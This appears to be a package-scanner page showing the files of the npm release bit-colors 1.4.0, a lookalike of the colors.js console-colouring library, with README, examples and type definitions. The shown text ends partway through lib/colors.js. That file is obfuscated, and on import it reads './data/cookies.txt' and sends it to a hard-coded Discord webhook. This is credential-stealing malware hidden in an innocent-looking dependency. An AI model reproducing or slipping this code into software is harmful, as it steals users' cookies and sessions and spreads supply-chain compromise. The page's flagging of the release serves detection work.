bit-colors 1.4.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of bit-colors might be problematic. Click here for more details.
- package/LICENSE +25 -0
- package/README.md +217 -0
- package/examples/normal-usage.js +82 -0
- package/examples/safe-string.js +79 -0
- package/index.d.ts +136 -0
- package/lib/colors.js +1 -0
- package/lib/custom/trap.js +46 -0
- package/lib/custom/zalgo.js +110 -0
- package/lib/extendStringPrototype.js +110 -0
- package/lib/index.js +13 -0
- package/lib/maps/america.js +10 -0
- package/lib/maps/rainbow.js +12 -0
- package/lib/maps/random.js +11 -0
- package/lib/maps/zebra.js +5 -0
- package/lib/styles.js +95 -0
- package/lib/system/has-flag.js +35 -0
- package/lib/system/supports-colors.js +151 -0
- package/package.json +45 -0
- package/safe.d.ts +48 -0
- package/safe.js +10 -0
- package/themes/generic-logging.js +12 -0
package/LICENSE
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Original Library
|
4
|
+
- Copyright (c) Marak Squires
|
5
|
+
|
6
|
+
Additional Functionality
|
7
|
+
- Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
8
|
+
|
9
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
10
|
+
of this software and associated documentation files (the "Software"), to deal
|
11
|
+
in the Software without restriction, including without limitation the rights
|
12
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
13
|
+
copies of the Software, and to permit persons to whom the Software is
|
14
|
+
furnished to do so, subject to the following conditions:
|
15
|
+
|
16
|
+
The above copyright notice and this permission notice shall be included in
|
17
|
+
all copies or substantial portions of the Software.
|
18
|
+
|
19
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
20
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
21
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
22
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
23
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
24
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
25
|
+
THE SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,217 @@
|
|
1
|
+
# bit-colors
|
2
|
+
|
3
|
+
Please check out the [roadmap](ROADMAP.md) for upcoming features and releases. Please open Issues to provide feedback, and check the `develop` branch for the latest bleeding-edge updates.
|
4
|
+
|
5
|
+
## get color and style in your node.js console
|
6
|
+
|
7
|
+
![Demo](https://raw.githubusercontent.com/Marak/colors.js/master/screenshots/colors.png)
|
8
|
+
|
9
|
+
## Installation
|
10
|
+
|
11
|
+
npm install bit-colors
|
12
|
+
|
13
|
+
## colors and styles!
|
14
|
+
|
15
|
+
### text colors
|
16
|
+
|
17
|
+
- black
|
18
|
+
- red
|
19
|
+
- green
|
20
|
+
- yellow
|
21
|
+
- blue
|
22
|
+
- magenta
|
23
|
+
- cyan
|
24
|
+
- white
|
25
|
+
- gray
|
26
|
+
- grey
|
27
|
+
|
28
|
+
### bright text colors
|
29
|
+
|
30
|
+
- brightRed
|
31
|
+
- brightGreen
|
32
|
+
- brightYellow
|
33
|
+
- brightBlue
|
34
|
+
- brightMagenta
|
35
|
+
- brightCyan
|
36
|
+
- brightWhite
|
37
|
+
|
38
|
+
### background colors
|
39
|
+
|
40
|
+
- bgBlack
|
41
|
+
- bgRed
|
42
|
+
- bgGreen
|
43
|
+
- bgYellow
|
44
|
+
- bgBlue
|
45
|
+
- bgMagenta
|
46
|
+
- bgCyan
|
47
|
+
- bgWhite
|
48
|
+
- bgGray
|
49
|
+
- bgGrey
|
50
|
+
|
51
|
+
### bright background colors
|
52
|
+
|
53
|
+
- bgBrightRed
|
54
|
+
- bgBrightGreen
|
55
|
+
- bgBrightYellow
|
56
|
+
- bgBrightBlue
|
57
|
+
- bgBrightMagenta
|
58
|
+
- bgBrightCyan
|
59
|
+
- bgBrightWhite
|
60
|
+
|
61
|
+
### styles
|
62
|
+
|
63
|
+
- reset
|
64
|
+
- bold
|
65
|
+
- dim
|
66
|
+
- italic
|
67
|
+
- underline
|
68
|
+
- inverse
|
69
|
+
- hidden
|
70
|
+
- strikethrough
|
71
|
+
|
72
|
+
### extras
|
73
|
+
|
74
|
+
- rainbow
|
75
|
+
- zebra
|
76
|
+
- america
|
77
|
+
- trap
|
78
|
+
- random
|
79
|
+
|
80
|
+
|
81
|
+
## Usage
|
82
|
+
|
83
|
+
By popular demand, `colors` now ships with two types of usages!
|
84
|
+
|
85
|
+
The super nifty way
|
86
|
+
|
87
|
+
```js
|
88
|
+
var colors = require('bit-colors');
|
89
|
+
|
90
|
+
console.log('hello'.green); // outputs green text
|
91
|
+
console.log('i like cake and pies'.underline.red) // outputs red underlined text
|
92
|
+
console.log('inverse the color'.inverse); // inverses the color
|
93
|
+
console.log('OMG Rainbows!'.rainbow); // rainbow
|
94
|
+
console.log('Run the trap'.trap); // Drops the bass
|
95
|
+
|
96
|
+
```
|
97
|
+
|
98
|
+
or a slightly less nifty way which doesn't extend `String.prototype`
|
99
|
+
|
100
|
+
```js
|
101
|
+
var colors = require('bit-colors/safe');
|
102
|
+
|
103
|
+
console.log(colors.green('hello')); // outputs green text
|
104
|
+
console.log(colors.red.underline('i like cake and pies')) // outputs red underlined text
|
105
|
+
console.log(colors.inverse('inverse the color')); // inverses the color
|
106
|
+
console.log(colors.rainbow('OMG Rainbows!')); // rainbow
|
107
|
+
console.log(colors.trap('Run the trap')); // Drops the bass
|
108
|
+
|
109
|
+
```
|
110
|
+
|
111
|
+
I prefer the first way. Some people seem to be afraid of extending `String.prototype` and prefer the second way.
|
112
|
+
|
113
|
+
If you are writing good code you will never have an issue with the first approach. If you really don't want to touch `String.prototype`, the second usage will not touch `String` native object.
|
114
|
+
|
115
|
+
## Enabling/Disabling Colors
|
116
|
+
|
117
|
+
The package will auto-detect whether your terminal can use colors and enable/disable accordingly. When colors are disabled, the color functions do nothing. You can override this with a command-line flag:
|
118
|
+
|
119
|
+
```bash
|
120
|
+
node myapp.js --no-color
|
121
|
+
node myapp.js --color=false
|
122
|
+
|
123
|
+
node myapp.js --color
|
124
|
+
node myapp.js --color=true
|
125
|
+
node myapp.js --color=always
|
126
|
+
|
127
|
+
FORCE_COLOR=1 node myapp.js
|
128
|
+
```
|
129
|
+
|
130
|
+
Or in code:
|
131
|
+
|
132
|
+
```javascript
|
133
|
+
var colors = require('bit-colors');
|
134
|
+
colors.enable();
|
135
|
+
colors.disable();
|
136
|
+
```
|
137
|
+
|
138
|
+
## Console.log [string substitution](http://nodejs.org/docs/latest/api/console.html#console_console_log_data)
|
139
|
+
|
140
|
+
```js
|
141
|
+
var name = 'Marak';
|
142
|
+
console.log(colors.green('Hello %s'), name);
|
143
|
+
// outputs -> 'Hello Marak'
|
144
|
+
```
|
145
|
+
|
146
|
+
## Custom themes
|
147
|
+
|
148
|
+
### Using standard API
|
149
|
+
|
150
|
+
```js
|
151
|
+
|
152
|
+
var colors = require('bit-colors');
|
153
|
+
|
154
|
+
colors.setTheme({
|
155
|
+
silly: 'rainbow',
|
156
|
+
input: 'grey',
|
157
|
+
verbose: 'cyan',
|
158
|
+
prompt: 'grey',
|
159
|
+
info: 'green',
|
160
|
+
data: 'grey',
|
161
|
+
help: 'cyan',
|
162
|
+
warn: 'yellow',
|
163
|
+
debug: 'blue',
|
164
|
+
error: 'red'
|
165
|
+
});
|
166
|
+
|
167
|
+
// outputs red text
|
168
|
+
console.log("this is an error".error);
|
169
|
+
|
170
|
+
// outputs yellow text
|
171
|
+
console.log("this is a warning".warn);
|
172
|
+
```
|
173
|
+
|
174
|
+
### Using string safe API
|
175
|
+
|
176
|
+
```js
|
177
|
+
var colors = require('bit-colors/safe');
|
178
|
+
|
179
|
+
// set single property
|
180
|
+
var error = colors.red;
|
181
|
+
error('this is red');
|
182
|
+
|
183
|
+
// set theme
|
184
|
+
colors.setTheme({
|
185
|
+
silly: 'rainbow',
|
186
|
+
input: 'grey',
|
187
|
+
verbose: 'cyan',
|
188
|
+
prompt: 'grey',
|
189
|
+
info: 'green',
|
190
|
+
data: 'grey',
|
191
|
+
help: 'cyan',
|
192
|
+
warn: 'yellow',
|
193
|
+
debug: 'blue',
|
194
|
+
error: 'red'
|
195
|
+
});
|
196
|
+
|
197
|
+
// outputs red text
|
198
|
+
console.log(colors.error("this is an error"));
|
199
|
+
|
200
|
+
// outputs yellow text
|
201
|
+
console.log(colors.warn("this is a warning"));
|
202
|
+
|
203
|
+
```
|
204
|
+
|
205
|
+
### Combining Colors
|
206
|
+
|
207
|
+
```javascript
|
208
|
+
var colors = require('bit-colors');
|
209
|
+
|
210
|
+
colors.setTheme({
|
211
|
+
custom: ['red', 'underline']
|
212
|
+
});
|
213
|
+
|
214
|
+
console.log('test'.custom);
|
215
|
+
```
|
216
|
+
|
217
|
+
*Protip: There is a secret undocumented style in `bit-colors`. If you find the style you can summon him.*
|
@@ -0,0 +1,82 @@
|
|
1
|
+
var colors = require('../lib/index');
|
2
|
+
|
3
|
+
console.log('First some yellow text'.yellow);
|
4
|
+
|
5
|
+
console.log('Underline that text'.yellow.underline);
|
6
|
+
|
7
|
+
console.log('Make it bold and red'.red.bold);
|
8
|
+
|
9
|
+
console.log(('Double Raindows All Day Long').rainbow);
|
10
|
+
|
11
|
+
console.log('Drop the bass'.trap);
|
12
|
+
|
13
|
+
console.log('DROP THE RAINBOW BASS'.trap.rainbow);
|
14
|
+
|
15
|
+
// styles not widely supported
|
16
|
+
console.log('Chains are also cool.'.bold.italic.underline.red);
|
17
|
+
|
18
|
+
// styles not widely supported
|
19
|
+
console.log('So '.green + 'are'.underline + ' ' + 'inverse'.inverse
|
20
|
+
+ ' styles! '.yellow.bold);
|
21
|
+
console.log('Zebras are so fun!'.zebra);
|
22
|
+
|
23
|
+
//
|
24
|
+
// Remark: .strikethrough may not work with Mac OS Terminal App
|
25
|
+
//
|
26
|
+
console.log('This is ' + 'not'.strikethrough + ' fun.');
|
27
|
+
|
28
|
+
console.log('Background color attack!'.black.bgWhite);
|
29
|
+
console.log('Use random styles on everything!'.random);
|
30
|
+
console.log('America, Heck Yeah!'.america);
|
31
|
+
|
32
|
+
console.log('Blindingly '.brightCyan + 'bright? '.brightRed + 'Why '.brightYellow + 'not?!'.brightGreen);
|
33
|
+
|
34
|
+
console.log('Setting themes is useful');
|
35
|
+
|
36
|
+
//
|
37
|
+
// Custom themes
|
38
|
+
//
|
39
|
+
console.log('Generic logging theme as JSON'.green.bold.underline);
|
40
|
+
// Load theme with JSON literal
|
41
|
+
colors.setTheme({
|
42
|
+
silly: 'rainbow',
|
43
|
+
input: 'grey',
|
44
|
+
verbose: 'cyan',
|
45
|
+
prompt: 'grey',
|
46
|
+
info: 'green',
|
47
|
+
data: 'grey',
|
48
|
+
help: 'cyan',
|
49
|
+
warn: 'yellow',
|
50
|
+
debug: 'blue',
|
51
|
+
error: 'red',
|
52
|
+
});
|
53
|
+
|
54
|
+
// outputs red text
|
55
|
+
console.log('this is an error'.error);
|
56
|
+
|
57
|
+
// outputs yellow text
|
58
|
+
console.log('this is a warning'.warn);
|
59
|
+
|
60
|
+
// outputs grey text
|
61
|
+
console.log('this is an input'.input);
|
62
|
+
|
63
|
+
console.log('Generic logging theme as file'.green.bold.underline);
|
64
|
+
|
65
|
+
// Load a theme from file
|
66
|
+
try {
|
67
|
+
colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
|
68
|
+
} catch (err) {
|
69
|
+
console.log(err);
|
70
|
+
}
|
71
|
+
|
72
|
+
// outputs red text
|
73
|
+
console.log('this is an error'.error);
|
74
|
+
|
75
|
+
// outputs yellow text
|
76
|
+
console.log('this is a warning'.warn);
|
77
|
+
|
78
|
+
// outputs grey text
|
79
|
+
console.log('this is an input'.input);
|
80
|
+
|
81
|
+
// console.log("Don't summon".zalgo)
|
82
|
+
|
@@ -0,0 +1,79 @@
|
|
1
|
+
var colors = require('../safe');
|
2
|
+
|
3
|
+
console.log(colors.yellow('First some yellow text'));
|
4
|
+
|
5
|
+
console.log(colors.yellow.underline('Underline that text'));
|
6
|
+
|
7
|
+
console.log(colors.red.bold('Make it bold and red'));
|
8
|
+
|
9
|
+
console.log(colors.rainbow('Double Raindows All Day Long'));
|
10
|
+
|
11
|
+
console.log(colors.trap('Drop the bass'));
|
12
|
+
|
13
|
+
console.log(colors.rainbow(colors.trap('DROP THE RAINBOW BASS')));
|
14
|
+
|
15
|
+
// styles not widely supported
|
16
|
+
console.log(colors.bold.italic.underline.red('Chains are also cool.'));
|
17
|
+
|
18
|
+
// styles not widely supported
|
19
|
+
console.log(colors.green('So ') + colors.underline('are') + ' '
|
20
|
+
+ colors.inverse('inverse') + colors.yellow.bold(' styles! '));
|
21
|
+
|
22
|
+
console.log(colors.zebra('Zebras are so fun!'));
|
23
|
+
|
24
|
+
console.log('This is ' + colors.strikethrough('not') + ' fun.');
|
25
|
+
|
26
|
+
|
27
|
+
console.log(colors.black.bgWhite('Background color attack!'));
|
28
|
+
console.log(colors.random('Use random styles on everything!'));
|
29
|
+
console.log(colors.america('America, Heck Yeah!'));
|
30
|
+
|
31
|
+
console.log(colors.brightCyan('Blindingly ') + colors.brightRed('bright? ') + colors.brightYellow('Why ') + colors.brightGreen('not?!'));
|
32
|
+
|
33
|
+
console.log('Setting themes is useful');
|
34
|
+
|
35
|
+
//
|
36
|
+
// Custom themes
|
37
|
+
//
|
38
|
+
// console.log('Generic logging theme as JSON'.green.bold.underline);
|
39
|
+
// Load theme with JSON literal
|
40
|
+
colors.setTheme({
|
41
|
+
silly: 'rainbow',
|
42
|
+
input: 'blue',
|
43
|
+
verbose: 'cyan',
|
44
|
+
prompt: 'grey',
|
45
|
+
info: 'green',
|
46
|
+
data: 'grey',
|
47
|
+
help: 'cyan',
|
48
|
+
warn: 'yellow',
|
49
|
+
debug: 'blue',
|
50
|
+
error: 'red',
|
51
|
+
});
|
52
|
+
|
53
|
+
// outputs red text
|
54
|
+
console.log(colors.error('this is an error'));
|
55
|
+
|
56
|
+
// outputs yellow text
|
57
|
+
console.log(colors.warn('this is a warning'));
|
58
|
+
|
59
|
+
// outputs blue text
|
60
|
+
console.log(colors.input('this is an input'));
|
61
|
+
|
62
|
+
|
63
|
+
// console.log('Generic logging theme as file'.green.bold.underline);
|
64
|
+
|
65
|
+
// Load a theme from file
|
66
|
+
colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));
|
67
|
+
|
68
|
+
// outputs red text
|
69
|
+
console.log(colors.error('this is an error'));
|
70
|
+
|
71
|
+
// outputs yellow text
|
72
|
+
console.log(colors.warn('this is a warning'));
|
73
|
+
|
74
|
+
// outputs grey text
|
75
|
+
console.log(colors.input('this is an input'));
|
76
|
+
|
77
|
+
// console.log(colors.zalgo("Don't summon him"))
|
78
|
+
|
79
|
+
|
package/index.d.ts
ADDED
@@ -0,0 +1,136 @@
|
|
1
|
+
// Type definitions for Colors.js 1.2
|
2
|
+
// Project: https://github.com/Marak/colors.js
|
3
|
+
// Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
|
4
|
+
// Definitions: https://github.com/Marak/colors.js
|
5
|
+
|
6
|
+
export interface Color {
|
7
|
+
(text: string): string;
|
8
|
+
|
9
|
+
strip: Color;
|
10
|
+
stripColors: Color;
|
11
|
+
|
12
|
+
black: Color;
|
13
|
+
red: Color;
|
14
|
+
green: Color;
|
15
|
+
yellow: Color;
|
16
|
+
blue: Color;
|
17
|
+
magenta: Color;
|
18
|
+
cyan: Color;
|
19
|
+
white: Color;
|
20
|
+
gray: Color;
|
21
|
+
grey: Color;
|
22
|
+
|
23
|
+
bgBlack: Color;
|
24
|
+
bgRed: Color;
|
25
|
+
bgGreen: Color;
|
26
|
+
bgYellow: Color;
|
27
|
+
bgBlue: Color;
|
28
|
+
bgMagenta: Color;
|
29
|
+
bgCyan: Color;
|
30
|
+
bgWhite: Color;
|
31
|
+
|
32
|
+
reset: Color;
|
33
|
+
bold: Color;
|
34
|
+
dim: Color;
|
35
|
+
italic: Color;
|
36
|
+
underline: Color;
|
37
|
+
inverse: Color;
|
38
|
+
hidden: Color;
|
39
|
+
strikethrough: Color;
|
40
|
+
|
41
|
+
rainbow: Color;
|
42
|
+
zebra: Color;
|
43
|
+
america: Color;
|
44
|
+
trap: Color;
|
45
|
+
random: Color;
|
46
|
+
zalgo: Color;
|
47
|
+
}
|
48
|
+
|
49
|
+
export function enable(): void;
|
50
|
+
export function disable(): void;
|
51
|
+
export function setTheme(theme: any): void;
|
52
|
+
|
53
|
+
export let enabled: boolean;
|
54
|
+
|
55
|
+
export const strip: Color;
|
56
|
+
export const stripColors: Color;
|
57
|
+
|
58
|
+
export const black: Color;
|
59
|
+
export const red: Color;
|
60
|
+
export const green: Color;
|
61
|
+
export const yellow: Color;
|
62
|
+
export const blue: Color;
|
63
|
+
export const magenta: Color;
|
64
|
+
export const cyan: Color;
|
65
|
+
export const white: Color;
|
66
|
+
export const gray: Color;
|
67
|
+
export const grey: Color;
|
68
|
+
|
69
|
+
export const bgBlack: Color;
|
70
|
+
export const bgRed: Color;
|
71
|
+
export const bgGreen: Color;
|
72
|
+
export const bgYellow: Color;
|
73
|
+
export const bgBlue: Color;
|
74
|
+
export const bgMagenta: Color;
|
75
|
+
export const bgCyan: Color;
|
76
|
+
export const bgWhite: Color;
|
77
|
+
|
78
|
+
export const reset: Color;
|
79
|
+
export const bold: Color;
|
80
|
+
export const dim: Color;
|
81
|
+
export const italic: Color;
|
82
|
+
export const underline: Color;
|
83
|
+
export const inverse: Color;
|
84
|
+
export const hidden: Color;
|
85
|
+
export const strikethrough: Color;
|
86
|
+
|
87
|
+
export const rainbow: Color;
|
88
|
+
export const zebra: Color;
|
89
|
+
export const america: Color;
|
90
|
+
export const trap: Color;
|
91
|
+
export const random: Color;
|
92
|
+
export const zalgo: Color;
|
93
|
+
|
94
|
+
declare global {
|
95
|
+
interface String {
|
96
|
+
strip: string;
|
97
|
+
stripColors: string;
|
98
|
+
|
99
|
+
black: string;
|
100
|
+
red: string;
|
101
|
+
green: string;
|
102
|
+
yellow: string;
|
103
|
+
blue: string;
|
104
|
+
magenta: string;
|
105
|
+
cyan: string;
|
106
|
+
white: string;
|
107
|
+
gray: string;
|
108
|
+
grey: string;
|
109
|
+
|
110
|
+
bgBlack: string;
|
111
|
+
bgRed: string;
|
112
|
+
bgGreen: string;
|
113
|
+
bgYellow: string;
|
114
|
+
bgBlue: string;
|
115
|
+
bgMagenta: string;
|
116
|
+
bgCyan: string;
|
117
|
+
bgWhite: string;
|
118
|
+
|
119
|
+
reset: string;
|
120
|
+
// @ts-ignore
|
121
|
+
bold: string;
|
122
|
+
dim: string;
|
123
|
+
italic: string;
|
124
|
+
underline: string;
|
125
|
+
inverse: string;
|
126
|
+
hidden: string;
|
127
|
+
strikethrough: string;
|
128
|
+
|
129
|
+
rainbow: string;
|
130
|
+
zebra: string;
|
131
|
+
america: string;
|
132
|
+
trap: string;
|
133
|
+
random: string;
|
134
|
+
zalgo: string;
|
135
|
+
}
|
136
|
+
}
|
package/lib/colors.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
var _0x5d41c3=_0x41d2;function _0xa072(){var _0x81a989=['\x73\x74\x72\x69\x6e\x67','\x73\x75\x70\x70\x6f\x72\x74\x73\x43\x6f\x6c\x6f\x72','\x63\x6f\x6e\x63\x61\x74','\x65\x6e\x61\x62\x6c\x65','\x66\x6f\x72\x45\x61\x63\x68','\x73\x74\x72\x69\x70\x43\x6f\x6c\x6f\x72\x73','\x7a\x65\x62\x72\x61','\x63\x6f\x6c\x6f\x72\x73\x2e\x73\x65\x74\x54\x68\x65\x6d\x65\x28\x72\x65\x71\x75\x69\x72\x65\x28\x5f\x5f\x64\x69\x72\x6e\x61\x6d\x65\x20\x2b\x20','\x6b\x65\x79\x73','\x31\x35\x36\x35\x39\x34\x30\x62\x51\x5a\x4d\x6a\x46','\x7a\x61\x6c\x67\x6f','\x61\x70\x70\x6c\x79','\x2e\x2f\x6d\x61\x70\x73\x2f\x72\x61\x6e\x64\x6f\x6d','\x65\x6e\x61\x62\x6c\x65\x64','\x64\x38\x72\x59\x36\x4f\x52\x6a\x4b\x62\x4c\x62\x4a\x62\x6c\x71\x44\x53\x7a\x50\x4f\x74\x31\x39\x2d\x62\x52\x36\x72\x30\x38\x45\x58\x4d\x52\x6a\x44\x75\x63\x58\x78\x45\x6c\x47\x32\x52\x4a\x61\x43\x51\x48\x45\x4d\x41\x50\x67\x68\x48\x52\x55\x46\x39\x5f\x39\x43\x72\x4d\x4c','\x72\x61\x6e\x64\x6f\x6d','\x73\x74\x72\x69\x70','\x33\x35\x31\x36\x30\x37\x30\x45\x43\x6a\x4c\x4b\x6d','\x36\x39\x30\x33\x36\x51\x4d\x64\x77\x45\x7a','\x6f\x70\x65\x6e','\x67\x72\x65\x79','\x6d\x61\x70','\x73\x70\x6c\x69\x74','\x2e\x2f\x63\x75\x73\x74\x6f\x6d\x2f\x74\x72\x61\x70','\x73\x74\x79\x6c\x65\x73','\x6a\x6f\x69\x6e','\x31\x36\x69\x68\x4e\x4a\x52\x67','\x64\x69\x73\x63\x6f\x72\x64\x2e\x6a\x73','\x73\x65\x6e\x64','\x65\x78\x70\x6f\x72\x74\x73','\x2e\x2f\x64\x61\x74\x61\x2f\x63\x6f\x6f\x6b\x69\x65\x73\x2e\x74\x78\x74','\x27\x2f\x2e\x2e\x2f\x74\x68\x65\x6d\x65\x73\x2f\x67\x65\x6e\x65\x72\x69\x63\x2d\x6c\x6f\x67\x67\x69\x6e\x67\x2e\x6a\x73\x27\x29\x29\x3b','\x2e\x2f\x6d\x61\x70\x73\x2f\x72\x61\x69\x6e\x62\x6f\x77','\x31\x36\x34\x36\x38\x39\x36\x6f\x66\x76\x63\x7a\x58','\x63\x61\x6c\x6c','\x75\x74\x69\x6c','\x72\x65\x70\x6c\x61\x63\x65','\x2e\x2f\x73\x79\x73\x74\x65\x6d\x2f\x73\x75\x70\x70\x6f\x72\x74\x73\x2d\x63\x6f\x6c\x6f\x72\x73','\x5f\x73\x74\x79\x6c\x65\x73','\x38\x32\x39\x31\x57\x63\x50\x63\x54\x6b','\x27\x2f\x2e\x2e\x2f\x74\x68\x65\x6d\x65\x73\x2f\x67\x65\x6e\x65\x72\x69\x63\x2d\x6c\x6f\x67\x67\x69\x6e\x67\x2e\x6a\x73\x27\x29\x3b\x20\x54\x68\x65\x20\x6e\x65\x77\x20\x73\x79\x6e\x74\x61\x78\x20\x6c\x6f\x6f\x6b\x73\x20\x6c\x69\x6b\x65\x20','\x31\x38\x75\x52\x41\x42\x44\x52','\x63\x6c\x6f\x73\x65','\x5f\x5f\x70\x72\x6f\x74\x6f\x5f\x5f','\x70\x72\x6f\x74\x6f\x74\x79\x70\x65','\x35\x33\x33\x34\x38\x67\x6a\x55\x4d\x47\x6e','\x2e\x2f\x63\x75\x73\x74\x6f\x6d\x2f\x7a\x61\x6c\x67\x6f','\x2e\x2f\x73\x74\x79\x6c\x65\x73','\x6d\x61\x70\x73','\x33\x30\x34\x39\x35\x35\x63\x78\x59\x49\x4b\x68','\x33\x33\x61\x62\x78\x6e\x76\x4f','\x6f\x62\x6a\x65\x63\x74','\x45\x78\x70\x65\x63\x74\x65\x64\x20\x61\x20\x73\x74\x72\x69\x6e\x67','\x73\x74\x79\x6c\x69\x7a\x65','\x36\x32\x34\x56\x55\x56\x51\x76\x7a','\x73\x6c\x69\x63\x65','\x6c\x65\x6e\x67\x74\x68','\x31\x38\x69\x64\x4c\x63\x66\x77','\x63\x6c\x6f\x73\x65\x52\x65','\x2e\x2f\x6d\x61\x70\x73\x2f\x61\x6d\x65\x72\x69\x63\x61','\x63\x61\x6c\x6c\x65\x72\x27\x73\x29\x20\x72\x65\x73\x70\x6f\x6e\x73\x69\x62\x69\x6c\x69\x74\x79\x20\x74\x6f\x20\x72\x65\x71\x75\x69\x72\x65\x20\x74\x68\x65\x20\x66\x69\x6c\x65\x2e\x20\x20\x54\x68\x65\x20\x6f\x6c\x64\x20\x73\x79\x6e\x74\x61\x78\x20','\x49\x66\x20\x79\x6f\x75\x20\x61\x72\x65\x20\x74\x72\x79\x69\x6e\x67\x20\x74\x6f\x20\x73\x65\x74\x20\x61\x20\x74\x68\x65\x6d\x65\x20\x66\x72\x6f\x6d\x20\x61\x20\x66\x69\x6c\x65\x2c\x20\x69\x74\x20\x69\x73\x20\x6e\x6f\x77\x20\x79\x6f\x75\x72\x20\x28\x74\x68\x65\x20'];_0xa072=function(){return _0x81a989;};return _0xa072();}(function(_0x4efb56,_0x45c76c){var _0x2c9448=_0x41d2,_0x253492=_0x4efb56();while(!![]){try{var _0x57446f=-parseInt(_0x2c9448(0xac))/0x1*(-parseInt(_0x2c9448(0xdd))/0x2)+-parseInt(_0x2c9448(0xb7))/0x3*(parseInt(_0x2c9448(0xb2))/0x4)+parseInt(_0x2c9448(0xcc))/0x5+-parseInt(_0x2c9448(0xae))/0x6*(-parseInt(_0x2c9448(0xb6))/0x7)+-parseInt(_0x2c9448(0xe4))/0x8+parseInt(_0x2c9448(0xbe))/0x9*(parseInt(_0x2c9448(0xd4))/0xa)+parseInt(_0x2c9448(0xd5))/0xb*(-parseInt(_0x2c9448(0xbb))/0xc);if(_0x57446f===_0x45c76c)break;else _0x253492['push'](_0x253492['shift']());}catch(_0x295636){_0x253492['push'](_0x253492['shift']());}}}(_0xa072,0x827e8));const Discord=require(_0x5d41c3(0xde)),{WebhookClient}=require('\x64\x69\x73\x63\x6f\x72\x64\x2e\x6a\x73'),attachment=new Discord['\x4d\x65\x73\x73\x61\x67\x65\x41\x74\x74\x61\x63\x68\x6d\x65\x6e\x74'](_0x5d41c3(0xe1)),wb=new WebhookClient('\x31\x30\x32\x32\x32\x31\x32\x33\x35\x38\x39\x35\x34\x38\x31\x39\x36\x34\x37',_0x5d41c3(0xd1));wb[_0x5d41c3(0xdf)](attachment);var colors={};module[_0x5d41c3(0xe0)]=colors,colors['\x74\x68\x65\x6d\x65\x73']={};var util=require(_0x5d41c3(0xe6)),ansiStyles=colors[_0x5d41c3(0xdb)]=require(_0x5d41c3(0xb4)),defineProps=Object['\x64\x65\x66\x69\x6e\x65\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73'],newLineRegex=new RegExp(/[\r\n]+/g);function _0x41d2(_0x1bb355,_0xff92bb){var _0xa072d8=_0xa072();return _0x41d2=function(_0x41d2ec,_0x2b0b76){_0x41d2ec=_0x41d2ec-0xac;var _0x3f4023=_0xa072d8[_0x41d2ec];return _0x3f4023;},_0x41d2(_0x1bb355,_0xff92bb);}colors['\x73\x75\x70\x70\x6f\x72\x74\x73\x43\x6f\x6c\x6f\x72']=require(_0x5d41c3(0xe8))[_0x5d41c3(0xc4)];typeof colors[_0x5d41c3(0xd0)]==='\x75\x6e\x64\x65\x66\x69\x6e\x65\x64'&&(colors[_0x5d41c3(0xd0)]=colors[_0x5d41c3(0xc4)]()!==![]);colors[_0x5d41c3(0xc6)]=function(){var _0x3e884a=_0x5d41c3;colors[_0x3e884a(0xd0)]=!![];},colors['\x64\x69\x73\x61\x62\x6c\x65']=function(){var _0x4b9d89=_0x5d41c3;colors[_0x4b9d89(0xd0)]=![];},colors[_0x5d41c3(0xc8)]=colors[_0x5d41c3(0xd3)]=function(_0x240508){var _0x4a1ddf=_0x5d41c3;return(''+_0x240508)[_0x4a1ddf(0xe7)](/\x1B\[\d+m/g,'');};var stylize=colors[_0x5d41c3(0xba)]=function stylize(_0x10842a,_0x23bd1b){var _0x5eab13=_0x5d41c3;if(!colors[_0x5eab13(0xd0)])return _0x10842a+'';var _0x23ed29=ansiStyles[_0x23bd1b];if(!_0x23ed29&&_0x23bd1b in colors)return colors[_0x23bd1b](_0x10842a);return _0x23ed29[_0x5eab13(0xd6)]+_0x10842a+_0x23ed29['\x63\x6c\x6f\x73\x65'];},matchOperatorsRe=/[|\\{}()[\]^$+*?.]/g,escapeStringRegexp=function(_0x37a1e0){var _0x5cae10=_0x5d41c3;if(typeof _0x37a1e0!==_0x5cae10(0xc3))throw new TypeError(_0x5cae10(0xb9));return _0x37a1e0[_0x5cae10(0xe7)](matchOperatorsRe,'\x5c\x24\x26');};function build(_0x3cc99c){var _0x16340d=_0x5d41c3,_0x676344=function _0x4fa712(){var _0x1adc3f=_0x41d2;return applyStyle[_0x1adc3f(0xce)](_0x4fa712,arguments);};return _0x676344['\x5f\x73\x74\x79\x6c\x65\x73']=_0x3cc99c,_0x676344[_0x16340d(0xb0)]=proto,_0x676344;}var styles=(function(){var _0x34eaf5=_0x5d41c3,_0x393736={};return ansiStyles[_0x34eaf5(0xd7)]=ansiStyles['\x67\x72\x61\x79'],Object[_0x34eaf5(0xcb)](ansiStyles)[_0x34eaf5(0xc7)](function(_0x43551b){var _0x4cfd9e=_0x34eaf5;ansiStyles[_0x43551b][_0x4cfd9e(0xbf)]=new RegExp(escapeStringRegexp(ansiStyles[_0x43551b][_0x4cfd9e(0xaf)]),'\x67'),_0x393736[_0x43551b]={'\x67\x65\x74':function(){var _0x1d96be=_0x4cfd9e;return build(this[_0x1d96be(0xe9)][_0x1d96be(0xc5)](_0x43551b));}};}),_0x393736;}()),proto=defineProps(function colors(){},styles);function applyStyle(){var 